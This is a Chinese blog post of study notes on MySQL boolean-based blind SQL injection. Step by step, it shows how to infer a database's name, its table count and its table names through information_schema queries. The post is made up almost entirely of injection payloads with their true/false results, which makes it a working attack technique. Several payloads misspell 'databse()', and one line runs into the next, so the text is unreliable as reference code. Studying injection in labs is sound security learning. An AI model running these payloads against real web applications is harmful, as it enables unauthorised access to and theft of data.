学习笔记 MYSQL盲注

Posted 烤红薯咖啡馆

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了学习笔记 MYSQL盲注相关的知识,希望对你有一定的参考价值。

猜解当前数据库名
输入 1and length(database())=1 # ,显示不存在;
输入 1and length(database())=2 # ,显示不存在;
输入 1and length(database())=3 # ,显示不存在;
输入 1and length(database())=4 # ,显示存在: 

采用二分法猜解数据库名
 输入 1and ascii(substr(databse(),1,1))>97 # ,显示存在,说明数据库名的第一个字符的 ascii 值大于 97 (小写字母 a 的 ascii 值);
输入 1and ascii(substr(databse(),1,1))<122 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 122 (小写字母 z 的 ascii 值);
输入 1and ascii(substr(databse(),1,1))<109 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 109 (小写字母 m 的 ascii 值);
输入 1and ascii(substr(databse(),1,1))<103 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 103 (小写字母 g 的 ascii 值);
输入 1and ascii(substr(databse(),1,1))<100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不小于 100 (小写字母 d 的 ascii 值);
输入 1and ascii(substr(databse(),1,1))>100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不大于 100 (小写字母 d 的 ascii 值),所以数据库名的第一个字符的 ascii 值为 100 ,即小写字母 d 。 

猜解数据库中的表名
1and (select count (table_name) from information_schema.tables where table_schema=database())=1 #显示不存在
1and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #显示存在 
1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #显示不存在
1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #显示不存在
…
1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #显示存在
说明第一个表名长度为 91and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。

 

以上是关于学习笔记 MYSQL盲注的主要内容,如果未能解决你的问题,请参考以下文章

安全牛学习笔记​手动漏洞挖掘-SQL盲注

安全技能学习笔记——反射型 XSS SQL 注入 (非盲注)

mysql盲注学习-1

盲注学习总结

注入学习 Mysql+php注入 基于bool和时间的盲注

学习笔记:python3,代码片段(2017)